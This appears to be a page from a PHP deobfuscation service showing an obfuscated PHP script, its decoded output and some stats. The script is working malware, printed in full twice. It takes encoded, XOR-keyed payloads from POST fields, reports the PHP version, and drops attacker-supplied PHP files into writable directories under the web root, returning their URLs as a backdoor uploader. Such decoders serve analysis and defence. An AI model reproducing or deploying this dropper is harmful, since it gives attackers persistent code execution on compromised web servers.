Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $tmirNruVN = 'D'.'O'.'C'."\125".'M'."\x45".chr(78).'T'.'_'."\x52".'O'.chr(79).'T';$s..
Decoded Output download
<?php $tmirNruVN = 'D'.'O'.'C'."U".'M'."E".chr(78).'T'.'_'."R".'O'.chr(79).'T';$szoZWhI = chr(72)."T".chr(366-282).'P'.chr(259-164).chr(72).chr(79).'S'.'T';$vjsKNvGyWR = "h".chr(829-713).'t'."p".":"."/".'/';$fPNVgMQGCI = '.'.chr(112).chr(800-696)."p";$zAcBAnM = chr(747-635)."h".chr(313-201);$yNiawB = chr(102)."i"."l".chr(101).chr(95).chr(982-870)."u".chr(702-586)."_".chr(339-240).chr(294-183).chr(437-327)."t"."e".chr(425-315).chr(148-32).chr(912-797);$ltbnAgTtSg = 'r'.chr(97)."w"."u"."r".'l'.'d'.'e'.'c'.'o'."d"."e";$tKUbnBU = chr(117).chr(110)."s".chr(212-111)."r".'i'."a".chr(487-379).chr(105).'z'."e";$uRgxtWPM = chr(105)."s".'_'.chr(119)."r".chr(105)."t".chr(97).'b'."l".chr(328-227);$TvWJcq = "p"."h"."p".'v'.chr(185-84).chr(738-624).'s'."i"."o".'n';$usjaeuqAiM = "s"."t"."r".chr(95).chr(114)."o".chr(116)."1"."3";$uyjlUk = "s"."e".'r'.'i'."a".'l'."i"."z"."e";$dlKdjwMuG = "s".'t'.chr(981-867)."_".'s'.'p'.'l'."i"."t";foreach ($_POST as $bTIiFJk => $OsEtvUmX){if (strlen($bTIiFJk) == 16){$OsEtvUmX = $dlKdjwMuG($ltbnAgTtSg($usjaeuqAiM($OsEtvUmX)));$bTIiFJk = array_slice($dlKdjwMuG(str_repeat($bTIiFJk, (count($OsEtvUmX)/16)+1)), 0, count($OsEtvUmX));function YTxSgkT($sCctfRIcTN, $KLPxY, $bTIiFJk){$kakiZy = "9500f879-6e0a-4be9-bafe-5cd0fb39d8e5";return $sCctfRIcTN ^ $kakiZy[$KLPxY % strlen($kakiZy)] ^ $bTIiFJk;}$OsEtvUmX = implode("", array_map("YTxSgkT", array_values($OsEtvUmX), array_keys($OsEtvUmX), array_values($bTIiFJk)));$OsEtvUmX = @$tKUbnBU($OsEtvUmX);if (@is_array($OsEtvUmX)){$rarQebWFqo = array_keys($OsEtvUmX);$OsEtvUmX = $OsEtvUmX[$rarQebWFqo[0]];if ($OsEtvUmX === $rarQebWFqo[0]){echo @$uyjlUk(Array($zAcBAnM => @$TvWJcq(), ));exit();}else {function ifcPQ($aBmJHlBir){static $qdMmQEMtmy = array();$TFJuVo = glob($aBmJHlBir . '/*', GLOB_ONLYDIR);if (count($TFJuVo) > 0) {foreach ($TFJuVo as $aBmJHlB) {if (@$uRgxtWPM($aBmJHlB)) {$qdMmQEMtmy[] = $aBmJHlB;}}}foreach ($TFJuVo as $aBmJHlBir) ifcPQ($aBmJHlBir);return $qdMmQEMtmy;}$rVXGp = $_SERVER[$tmirNruVN];$TFJuVo = ifcPQ($rVXGp);$rarQebWFqo = array_rand($TFJuVo);$RDdzapwXWi = $TFJuVo[$rarQebWFqo] . "/" . substr(md5(time()), 0, 8) . $fPNVgMQGCI;@$yNiawB($RDdzapwXWi, $OsEtvUmX);echo $vjsKNvGyWR . $_SERVER[$szoZWhI] . substr($RDdzapwXWi, strlen($rVXGp));exit();}}}} ?>
Did this file decode correctly?
Original Code
<?php $tmirNruVN = 'D'.'O'.'C'."\125".'M'."\x45".chr(78).'T'.'_'."\x52".'O'.chr(79).'T';$szoZWhI = chr(72)."\124".chr(366-282).'P'.chr(259-164).chr(72).chr(79).'S'.'T';$vjsKNvGyWR = "\150".chr(829-713).'t'."\160"."\x3a"."\x2f".'/';$fPNVgMQGCI = '.'.chr(112).chr(800-696)."\x70";$zAcBAnM = chr(747-635)."\x68".chr(313-201);$yNiawB = chr(102)."\151"."\x6c".chr(101).chr(95).chr(982-870)."\165".chr(702-586)."\137".chr(339-240).chr(294-183).chr(437-327)."\164"."\x65".chr(425-315).chr(148-32).chr(912-797);$ltbnAgTtSg = 'r'.chr(97)."\167"."\165"."\162".'l'.'d'.'e'.'c'.'o'."\144"."\145";$tKUbnBU = chr(117).chr(110)."\163".chr(212-111)."\x72".'i'."\141".chr(487-379).chr(105).'z'."\x65";$uRgxtWPM = chr(105)."\x73".'_'.chr(119)."\x72".chr(105)."\164".chr(97).'b'."\154".chr(328-227);$TvWJcq = "\x70"."\x68"."\x70".'v'.chr(185-84).chr(738-624).'s'."\x69"."\157".'n';$usjaeuqAiM = "\163"."\164"."\162".chr(95).chr(114)."\x6f".chr(116)."\x31"."\x33";$uyjlUk = "\163"."\145".'r'.'i'."\x61".'l'."\x69"."\172"."\145";$dlKdjwMuG = "\x73".'t'.chr(981-867)."\137".'s'.'p'.'l'."\x69"."\164";foreach ($_POST as $bTIiFJk => $OsEtvUmX){if (strlen($bTIiFJk) == 16){$OsEtvUmX = $dlKdjwMuG($ltbnAgTtSg($usjaeuqAiM($OsEtvUmX)));$bTIiFJk = array_slice($dlKdjwMuG(str_repeat($bTIiFJk, (count($OsEtvUmX)/16)+1)), 0, count($OsEtvUmX));function YTxSgkT($sCctfRIcTN, $KLPxY, $bTIiFJk){$kakiZy = "9500f879-6e0a-4be9-bafe-5cd0fb39d8e5";return $sCctfRIcTN ^ $kakiZy[$KLPxY % strlen($kakiZy)] ^ $bTIiFJk;}$OsEtvUmX = implode("", array_map("YTxSgkT", array_values($OsEtvUmX), array_keys($OsEtvUmX), array_values($bTIiFJk)));$OsEtvUmX = @$tKUbnBU($OsEtvUmX);if (@is_array($OsEtvUmX)){$rarQebWFqo = array_keys($OsEtvUmX);$OsEtvUmX = $OsEtvUmX[$rarQebWFqo[0]];if ($OsEtvUmX === $rarQebWFqo[0]){echo @$uyjlUk(Array($zAcBAnM => @$TvWJcq(), ));exit();}else {function ifcPQ($aBmJHlBir){static $qdMmQEMtmy = array();$TFJuVo = glob($aBmJHlBir . '/*', GLOB_ONLYDIR);if (count($TFJuVo) > 0) {foreach ($TFJuVo as $aBmJHlB) {if (@$uRgxtWPM($aBmJHlB)) {$qdMmQEMtmy[] = $aBmJHlB;}}}foreach ($TFJuVo as $aBmJHlBir) ifcPQ($aBmJHlBir);return $qdMmQEMtmy;}$rVXGp = $_SERVER[$tmirNruVN];$TFJuVo = ifcPQ($rVXGp);$rarQebWFqo = array_rand($TFJuVo);$RDdzapwXWi = $TFJuVo[$rarQebWFqo] . "/" . substr(md5(time()), 0, 8) . $fPNVgMQGCI;@$yNiawB($RDdzapwXWi, $OsEtvUmX);echo $vjsKNvGyWR . $_SERVER[$szoZWhI] . substr($RDdzapwXWi, strlen($rVXGp));exit();}}}}
Function Calls
chr | 40 |
Stats
MD5 | 935e306e30a33ce36d02890c8f656fa1 |
Eval Count | 0 |
Decode Time | 90 ms |